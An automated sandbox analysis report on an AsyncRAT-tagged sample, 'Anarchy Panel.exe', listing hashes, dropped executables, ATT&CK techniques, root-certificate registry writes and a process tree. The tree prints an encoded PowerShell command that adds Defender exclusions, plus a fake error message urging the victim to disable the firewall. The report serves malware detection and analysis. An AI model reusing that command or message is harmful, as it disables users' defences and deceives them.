asyncrat | f5c6fde50262017b259d357a1e586c6c3f6e9d8c95ccd88beef08f64b6b99407

Analysis

max time kernel
119s
max time network
122s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
25-07-2024 14:08

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Anarchy Panel.exe
Size

60.8MB
MD5

c0eb5b0616dad08c48a21f840bf9e2bc
SHA1

f41c0747386053e1eb32d710d360a08c35de10c2
SHA256

d13fc809b467a28598451093bff3f9649a96082e041e775f174c55d5eadd7cc5
SHA512

bfdf7ed57ab450f19748b207ab542136a9c836c4ad174fbf507df3aae7a69acb710a0d66a85d5ec6a6c6b23363fd6ef559a0096d12fbfa322cb4970f4db572b4
SSDEEP

1572864:nWEhJfOrr878YLP5X3xCZubIX6+3gl7Mqui:xJfE+rP5HS2h9o

Score

10^/10

asyncrat defense_evasion discovery rat upx

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

Processes:

resource	yara_rule
behavioral1/memory/2088-4-0x0000000006D00000-0x0000000007487000-memory.dmp	net_reactor
behavioral1/memory/2692-17-0x00000000008D0000-0x0000000003F6E000-memory.dmp	net_reactor

Executes dropped EXE 2 IoCs

Processes:

windowssdk.exeAnarchyBuilder.exe

pid process

1636 windowssdk.exe
2692 AnarchyBuilder.exe
Loads dropped DLL 3 IoCs

Processes:

Anarchy Panel.exeAnarchyBuilder.exe

pid process

2088 Anarchy Panel.exe
2088 Anarchy Panel.exe
2692 AnarchyBuilder.exe

pid	process
1636	windowssdk.exe
2692	AnarchyBuilder.exe

pid	process
2088	Anarchy Panel.exe
2088	Anarchy Panel.exe
2692	AnarchyBuilder.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\windowssdk.exe	upx
behavioral1/memory/1636-5-0x000000013FE70000-0x00000001405F7000-memory.dmp	upx
behavioral1/memory/1636-24-0x000000013FE70000-0x00000001405F7000-memory.dmp	upx
behavioral1/memory/1636-110-0x000000013FE70000-0x00000001405F7000-memory.dmp	upx

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Drops file in Windows directory 1 IoCs

Processes:

Anarchy Panel.exe

description ioc process

File created C:\Windows\windowssdk.exe Anarchy Panel.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

description	ioc	process
File created	C:\Windows\windowssdk.exe	Anarchy Panel.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

Anarchy Panel.exepowershell.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Anarchy Panel.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Time Discovery 1 TTPs 2 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
discovery

System Time Discovery
T1124

Processes:

cmd.execmd.exe

pid process

2928 cmd.exe
1692 cmd.exe
Delays execution with timeout.exe 1 IoCs
evasion

Processes:

timeout.exe

pid process

772 timeout.exe

pid	process
2928	cmd.exe
1692	cmd.exe

pid	process
772	timeout.exe

Modifies system certificate store 2 TTPs 4 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

AnarchyBuilder.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	AnarchyBuilder.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	AnarchyBuilder.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	AnarchyBuilder.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	AnarchyBuilder.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1452 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeAnarchyBuilder.exe

description pid process

Token: SeDebugPrivilege 1452 powershell.exe
Token: SeDebugPrivilege 2692 AnarchyBuilder.exe

pid	process
1452	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1452	powershell.exe
Token: SeDebugPrivilege	2692	AnarchyBuilder.exe

Suspicious use of WriteProcessMemory 24 IoCs

Processes:

Anarchy Panel.exeAnarchyBuilder.execmd.execmd.exewindowssdk.exe

description	pid	process	target process
PID 2088 wrote to memory of 1452	2088	Anarchy Panel.exe	powershell.exe
PID 2088 wrote to memory of 1452	2088	Anarchy Panel.exe	powershell.exe
PID 2088 wrote to memory of 1452	2088	Anarchy Panel.exe	powershell.exe
PID 2088 wrote to memory of 1452	2088	Anarchy Panel.exe	powershell.exe
PID 2088 wrote to memory of 1636	2088	Anarchy Panel.exe	windowssdk.exe
PID 2088 wrote to memory of 1636	2088	Anarchy Panel.exe	windowssdk.exe
PID 2088 wrote to memory of 1636	2088	Anarchy Panel.exe	windowssdk.exe
PID 2088 wrote to memory of 1636	2088	Anarchy Panel.exe	windowssdk.exe
PID 2088 wrote to memory of 2692	2088	Anarchy Panel.exe	AnarchyBuilder.exe
PID 2088 wrote to memory of 2692	2088	Anarchy Panel.exe	AnarchyBuilder.exe
PID 2088 wrote to memory of 2692	2088	Anarchy Panel.exe	AnarchyBuilder.exe
PID 2088 wrote to memory of 2692	2088	Anarchy Panel.exe	AnarchyBuilder.exe
PID 2692 wrote to memory of 2928	2692	AnarchyBuilder.exe	cmd.exe
PID 2692 wrote to memory of 2928	2692	AnarchyBuilder.exe	cmd.exe
PID 2692 wrote to memory of 2928	2692	AnarchyBuilder.exe	cmd.exe
PID 2928 wrote to memory of 1692	2928	cmd.exe	cmd.exe
PID 2928 wrote to memory of 1692	2928	cmd.exe	cmd.exe
PID 2928 wrote to memory of 1692	2928	cmd.exe	cmd.exe
PID 1692 wrote to memory of 772	1692	cmd.exe	timeout.exe
PID 1692 wrote to memory of 772	1692	cmd.exe	timeout.exe
PID 1692 wrote to memory of 772	1692	cmd.exe	timeout.exe
PID 1636 wrote to memory of 2180	1636	windowssdk.exe	WerFault.exe
PID 1636 wrote to memory of 2180	1636	windowssdk.exe	WerFault.exe
PID 1636 wrote to memory of 2180	1636	windowssdk.exe	WerFault.exe

C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe
"C:\Users\Admin\AppData\Local\Temp\Anarchy Panel.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2088

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGMAbgB0ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGIAagBxACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGwAZABxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAagByACMAPgA="
2⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1452

C:\Windows\windowssdk.exe
"C:\Windows\windowssdk.exe"
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 1636 -s 64
3⤵
PID:2180

C:\Users\Admin\AppData\Local\Temp\AnarchyBuilder.exe
"C:\Users\Admin\AppData\Local\Temp\AnarchyBuilder.exe"
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2692

C:\Windows\system32\cmd.exe
"cmd.exe" /c start cmd /C "color b && title Error && echo SSL assertion fail, make sure you're not debugging Network. Disable internet firewall on router if possible. & echo: & echo If not, ask the developer of the program to use custom domains to fix this. && timeout /t 5"
3⤵
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:2928

C:\Windows\system32\cmd.exe
cmd /C "color b && title Error && echo SSL assertion fail, make sure you're not debugging Network. Disable internet firewall on router if possible. & echo: & echo If not, ask the developer of the program to use custom domains to fix this. && timeout /t 5"
4⤵
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:1692

C:\Windows\system32\timeout.exe
timeout /t 5
5⤵
- Delays execution with timeout.exe
PID:772

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Cab3545.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar35B5.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Windows\windowssdk.exe

Filesize
6.2MB

MD5
e58b6dba9e96f3f015010a7796676153

SHA1
bae94a6035fe295f803c12b7dbc85cac2bf120a0

SHA256
9e8a91ecf50a0e4d9cda2f80380345d8edba197551a2bc5c797cb43007fd8181

SHA512
1b357abde0a7fa9dca1e4cb1d15f250800bedf80faa25b8b211f51527484af392ae9d6b47fa6c512eea42124f523654ba92ac6e40aa15fc71d5c98cbfbbdbe59

Download Submit
\Users\Admin\AppData\Local\Temp\Costura\C5730A4C0FDD612A5678E51A536CE09E\64\sqlite.interop.dll

Filesize
1.7MB

MD5
56a504a34d2cfbfc7eaa2b68e34af8ad

SHA1
426b48b0f3b691e3bb29f465aed9b936f29fc8cc

SHA256
9309fb2a3f326d0f2cc3f2ab837cfd02e4f8cb6b923b3b2be265591fd38f4961

SHA512
170c3645083d869e2368ee16325d7edaeba2d8f1d3d4a6a1054cfdd8616e03073772eeae30c8f79a93173825f83891e7b0e4fd89ef416808359f715a641747d7

Download Submit
memory/1636-5-0x000000013FE70000-0x00000001405F7000-memory.dmp

Filesize
7.5MB

Download
memory/1636-110-0x000000013FE70000-0x00000001405F7000-memory.dmp

Filesize
7.5MB

Download
memory/1636-24-0x000000013FE70000-0x00000001405F7000-memory.dmp

Filesize
7.5MB

Download
memory/2088-4-0x0000000006D00000-0x0000000007487000-memory.dmp

Filesize
7.5MB

Download
memory/2692-23-0x000000001FA40000-0x000000001FE00000-memory.dmp

Filesize
3.8MB

Download
memory/2692-26-0x000000001E620000-0x000000001E634000-memory.dmp

Filesize
80KB

Download
memory/2692-25-0x0000000020760000-0x00000000208AE000-memory.dmp

Filesize
1.3MB

Download
memory/2692-22-0x000000001F450000-0x000000001FA38000-memory.dmp

Filesize
5.9MB

Download
memory/2692-17-0x00000000008D0000-0x0000000003F6E000-memory.dmp

Filesize
54.6MB

Download